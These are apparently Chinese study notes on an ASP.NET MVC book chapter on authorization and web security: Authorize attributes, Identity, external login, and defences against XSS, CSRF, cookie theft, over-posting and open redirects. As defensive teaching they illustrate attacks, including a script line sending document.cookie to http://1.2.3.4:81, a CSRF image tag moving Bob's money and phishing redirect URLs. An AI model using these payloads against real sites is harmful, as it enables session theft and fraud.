1. 程式人生 > >第7章 成員資格、授權(Authorize、ASP.NET Identity、OAuth和OpenID的外部登入)和安全性

第7章 成員資格、授權(Authorize、ASP.NET Identity、OAuth和OpenID的外部登入)和安全性

7.1 安全性:無趣、但極其重要

7.2 使用Authorize特性登入

       使用Authorize特性來阻止使用者匿名訪問控制器或控制器操作

7.2.1 保護控制器操作

情況1:單控制器

             控制器上新增 [Authorize]特性

情況2: 全部控制器

         也可以將Authorize應用到全部的應用程式的範圍類,要使AuthorizeAttribute成為全程式的過濾器,只要將其加入全域性過濾器集合RegisterGlobalFilters方法,這個方法位於\App_Start\FilterConfig.cs:

        public static void RegisterGlobalFilters(GlobalFilterCollection filters)
        {
            filters.Add(new System.Web.Mvc.AuthorizeAttribute());
            filters.Add(new HandleErrorAttribute());
        }

       在控制器上新增[AllowAnonymous]特性,跳過授權。

情況3:自定義驗證規則

       我們不一定要用MVC預設的Authorize授權驗證規則,規則可以自己來定,自定義授權過濾器可以繼承AuthorizeAttribute這個類,這個類裡面有兩個方法是要重寫的

  •          bool AuthorizeCore(HttpContextBase httpContext):這裡主要是授權驗證的邏輯處理,返回true的則是通過授權,返回了false則不是。
  •          void HandleUnauthorizedRequest(AuthorizationContext filterContext):這個方法是處理授權失敗的事情。

當請求的時候剛好是偶數分鐘的,就通過可以獲得授權,反之則不通過。當授權失敗的時候,就會跳轉到登陸頁面了。

程式碼如下:

public class MyAuthorizeAttribute:AuthorizeAttribute
    {    
        protected override bool AuthorizeCore(HttpContextBase httpContext)
        {
            //return base.AuthorizeCore(httpContext);
            return DateTime.Now.Minute % 2 == 0
        }     
        protected override void HandleUnauthorizedRequest(AuthorizationContext filterContext)
        {
            filterContext.HttpContext.Response.Redirect("/Customer/Login");
            
            //base.HandleUnauthorizedRequest(filterContext);
        }
    }

然後用到一個行為方法上

 [MyAuthorize]
        public ActionResult ShowDetail()
        {
            return View();
        }

每當偶數分鐘的時候就可以訪問得到這個ShowDetail的檢視,否則就會跳到了登陸頁面了。

7.2.2 Authorize特性在表單身份驗證和AccountController控制器中的用法

7.2.3 Windows Authentication
選擇Windows Authentication選項時,身份驗證實際上是由Web瀏覽器、Windows和IIS在應用程式外部處理。
(1)、需要在Web.config新增<authentication mode="Windows" />

(2)、vs的IIS Express設定

 (3)、IIS設定


7.3 要求角色成員使用Authorize特性

        //授權角色、授權使用者
        [Authorize(Roles="Administrator",Users="Jon,Phil")]

7.4 擴充套件使用者身份 ASP.NET Identity

          7.4.1 儲存額外的使用者資料資料
          7.4.2 持久化控制

          7.4.3 管理使用者和角色

7.5 通過OAuth和OpenID的外部登入

         OAuth和OpenID是開放的授權標準。

         這些協議允許使用者使用他已有的賬戶登入我們的網站,這些賬戶必須來自他們信任的網站(稱為提供器)。

        7.5.1 註冊外部登入提供器
        7.5.2 配置OpenID提供器
        7.5.3 配置OAuth提供器

        7.5.4 外部登入的安全性

7.6 Web應用程式中的安全向量

7.6.1 威脅:跨站指令碼 (XSS)

(1)、威脅概述
(2)、被動注入
XSS通過向接收使用者輸入的網站中注入指令碼程式碼來實現。
如:在內容中輸入<,提交表單,發現頁面原始碼還是<,沒被替換成&lt;,這表示可以使用XSS攻擊。
現在動手了,輸入<script src="網址"></scritp>,當用戶訪問網站時,這些惡意的指令碼將會執行一些惡意操作,

比如講使用者的cookies或資料傳送到黑客自己的網站站。


(3)、主動注入

使用者直接參與攻擊,不會傻坐在那裡等待倒黴的使用者來上鉤。
如:在搜尋輸入框中,寫一個輸入文字框表格的Html,查詢結果就出現一個文字輸入框。會造成瀏覽這輸入登入資訊。

(4)、阻止XSS

A、對所有內容進行Html編碼

       Html.Encode(Html編碼)或Html.AttributeEncode(Html特性編碼)

       Razor檢視引擎預設對輸出內容採用HTML編碼。我們可以使用HTML輔助方法輸出@Html.Raw()

B、Html.AttributeEncode和Url.Encode

C、JavaScript編碼

使用Ajax.JavaScriptStringEncode輔助函式對在JavaScript中使用的字串進行編碼。

或使用AntiXSS庫,這個方法比較徹底。

D、將AntiXSS庫作為ASP.NET的預設編碼器

.NET 4.5及更高版本包含AntiXSS編碼器。要使用AntiXSS庫,只需要在web.config的httpRuntime中新增如下程式碼:

  <system.web>

    <httpRuntime targetFramework="4.5" encoderType="System.Web.Security.AntiXss.AntiXssEncoder,System.Web,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a" />

  </system.web>

NET 4.5中包含的AntiXSS庫內容如下所示:

HtmlEncode、HtmlFormUrlEncode和HtmlAttributeEncode

XmlAttributeEncode和XmlEncode

UrlEncode和UrlPathEncode

CssEncode 

使用方法:引用AntiXSS編碼器名稱空間 @using Microsoft.Security.Application

var message = 'Wellcome, @Encoder.JavaScriptEncode(ViewBag.UserName,false)!';

7.6.2 威脅:跨站請求偽造(CSRF)

CSRF攻擊例項

       受害者 Bob 在銀行有一筆存款,通過對銀行的網站傳送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求傳送到網站後,伺服器會先驗證該請求是否來自一個合法的 session,並且該 session 的使用者 Bob 已經成功登陸。
        黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己傳送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。
        這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下程式碼:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,並且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行伺服器。大多數情況下,該請求會失敗,因為他要求 Bob 的認證資訊。但是,如果 Bob 當時恰巧剛訪問他的銀行後不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認證資訊。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以後 Bob 發現賬戶錢少了,即使他去銀行查詢日誌,他也只能發現確實有一個來自於他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢後逍遙法外。 

如何阻止CSRF攻擊?

(1)、令牌驗證

MVC框架提供了一個阻止CSRF攻擊的好方法。

每個表單請求中插入一個包含唯一值的隱藏輸入元素。

    <form action="/account/register" method="post">

        @Html.AntiForgeryToken()

    </form>

會生成一個隱藏的輸入元素

<input type="hidden" value="ADFSefefefeewgcccc2424d"/>

該值將與作為會話的cookie儲存在使用者瀏覽器中的另一個值相匹配。

控制器新增特性:

[ValidateAntiforgeryToken]

public ActionResult Register(){}

注意:這種方式阻止不了機器人

(2)、冪等的GET請求
          重複執行多次而不改變執行結果。

(3)、HttpReferrer驗證

提交表單值的客戶端是否確實在目標站點上

    //建立特性
    public class IsPostedFromThisSiteAttribute:AuthorizeAttribute
    {
        public override void OnAuthorization(AuthorizationContext filterContext)
        {
            if(filterContext.HttpContext!=null)
            {
                if (filterContext.HttpContext.Request.UrlReferrer == null)
                    throw new System.Web.HttpException("無效提交");
                if(filterContext.HttpContext.Request.UrlReferrer.Host!="mysite.com")
                    throw new System.Web.HttpException("提交需要來自本網站");
            }
        }
    }

             然後在Register方法上新增這個過濾器,程式碼如下:
[IsPostedFromThisSite]
public ActionResult Register(.....)

7.6.3 威脅:cookie盜竊

(1)、威脅概述

網站使用的cookie來儲存頁面請求或瀏覽會話之間的資訊。

cookis主要有兩種形式:

A、會話cookie:會話cookie儲存在瀏覽器的記憶體中,在瀏覽器的每次請求中通過http頭資訊進行傳遞。

B、永續性cookie:儲存於硬碟上實際文字檔案中。



區別:會話cookie:站點在會話結束時忘記會話cookie
              持久cookie:在下一次訪問站點時,站點任然記得它。

通過XSS注入攻擊,想使用者資料頁面新增一段指令碼,JavaScript程式碼如下:

window.location="http://1.2.3.4:81/r.php?u"+document.link[1].text+"&l="document.links[1]+"&c="+document.cookie;

此時,如果瀏覽器載入了這個注入指令碼的使用者資料頁面,它就會在cookie傳遞http://1.2.3.4:81/r.php


(2)、使用HttpOnly阻止cookie盜竊

為攻擊提供便利的主要有兩方面內容:

XSS漏洞、Cookie缺陷(沒將cookie設定為禁止來自客戶端瀏覽器的修改)



解決方法:停止指令碼對站點中cookie的訪問。

在web.config檔案中對所有cookie進行設定,程式碼如下所示:

<system.web>

         <httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/>

</system.web>

也可在程式中為編寫的每個cookie單獨設定,程式碼如下:

Response.Cookies["MyCookie"].Value="aaaaa";

Response.Cookies["MyCookie"].HttpOnly=true;

這個標誌的設定會告訴瀏覽器,除了伺服器修改或設定cookie之外,其他一些對cookie的操作均無效。

7.6.4 威脅:重複提交

模型繫結是ASP.Net MVC 提供的一個強大功能,它遵照命名約定把輸入元素對映到模型屬性從而極大的簡化了處理使用者輸入的過程。

漏洞:給攻擊者提供一個填充模型屬性的機會,有些時候填充的這些屬性甚至都沒有在輸入的表單中。


(1)、威脅

如果填充了Approved屬性,那麼這條記錄直接通過稽核。
(2)、使用Bind特性防禦重複提交攻擊
方法一:允許繫結Include,不允許繫結Exclude

//允許繫結的欄位

[Bind(Include="Name,Comment")]

public class Review{

public int ReviewID{get;set;}

public int ProductID{get;set;}

public Product product{get;set;}

public string Name{get;set;}

public string Comment{get;set;}

public bool Approved{get;set;}

}



方法二:使用UpdateModel或TryUpdateModel方法的一個過載版本來接收一個繫結列表

UpdateModel(review,"Review",new string[]{"Name","Comment"});


方法三:只設置使用者提交的屬性

public class Review{

public string Name{get;set;}

public string Comment{get;set;}

}

7.6.5 威脅:開放重定向

ASP.NET MVC 3之前,AccountController很容易遭受開放重定向攻擊。
(1)、威脅概述
             請求(如查詢字串和表單資料)指定重定向URL的Web應用程式可能會被篡改,而把使用者重定向到外部的惡意URL。


A 、一個簡單的開放重定向攻擊
            在沒有登入的情況下,訪問帶有[Authorize]特性的/Account/ChangePassword,就會重定向到/Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%f頁面。
ReturnUrl=%2fAccount%2fChangePassword%f為登入後返回/Account/ChangePassword,由於沒有對ReturnUrl查詢字串引數進行驗證,因此攻擊者可以修改這個引數,從而向其中注入任意URL地址來實現開放重定向攻擊。
對ReturnUrl進行修改,/Account/LogOn?ReturnUrl=http://www.bing.com/一旦登入成功,被重定向到http://www.bing.com/頁面。


B、一個複雜的開放重定向攻擊(釣魚攻擊)
      傳送一個假的連結,/Account/LogOn?ReturnUrl=http://www.AAA.com/,當瀏覽者點選連線後,登入後,會跳轉到http://www.AAA.com/個網站。
這個連線的介面和原網站的介面一樣,要求登入,瀏覽者以為沒登入成功,再次輸入密碼,網站就獲取了使用者名稱、密碼。


C、AccountController控制器中操作LogOn的脆弱程式碼。
解決方法:Url.IsLocalUrl 指定連結是否是本地連結
MVC5解決方法:

        [HttpPost]
        [AllowAnonymous]//允許匿名訪問該網址
        [ValidateAntiForgeryToken]//跨站請求偽造(CSRF)
        public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
        {
            if (ModelState.IsValid)
            {
                var user = await UserManager.FindAsync(model.UserName, model.Password);
                if (user != null)
                {
                    await SignInAsync(user, model.RememberMe);
                    return RedirectToLocal(returnUrl);
                }
                else
                {
                    ModelState.AddModelError("", "Invalid username or password.");
                }
            }

            // 如果我們進行到這一步時某個地方出錯,則重新顯示錶單
            return View(model);
        }

        private ActionResult RedirectToLocal(string returnUrl)
        {
            //指定連結是否是本地連結
            if (Url.IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                return RedirectToAction("Index", "Home");
            }
        }

7.7 適當的錯誤報告和堆疊跟蹤

網站釋出後,mode="On",將隱藏錯誤提示資訊

 <customErrors mode="On" defaultRedirect="GenericErrorPage.htm"> 
     <error statusCode="403" redirect="403.htm" /> 
     <error statusCode="404" redirect="404.htm" /> 
</customErrors>

7.7.1 使用配置轉換

7.7.2 在生產環境中使用Retail部署配置

部署配置伺服器的machine.config檔案(C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config)
<system.web>
<deployment retail="true"/>
</system.web>

deployment retail="true",將會影響以下幾個項設定:

(1)customErrors模式被設定為On,也就是最安全的設定。

(2)、禁止跟蹤輸出。

(3)、禁止除錯。

這些設定可以覆蓋web.config檔案中所有應用程式級別的設定。

7.7.3 使用專門的錯誤日誌系統

事實上,最好的解決方法是在任何環境中都不關閉自定錯誤。
可以使用ELMAH把錯誤日誌寫入到一個不在網站上公佈的資料表中。

可登陸http://code.google.com/p/elmah/

7.8 安全回顧和有用資源

XSS:使用HTML編碼所有內容。編碼特性。記住JavaScript編碼。使用AntiXSS類
CRSF:令牌驗證。冪等的GET請求。HttpReferrer驗證。
重複提交:使用Bind特性顯式地繫結白名單欄位。謹慎使用黑名單

7.9 小結

推薦閱讀: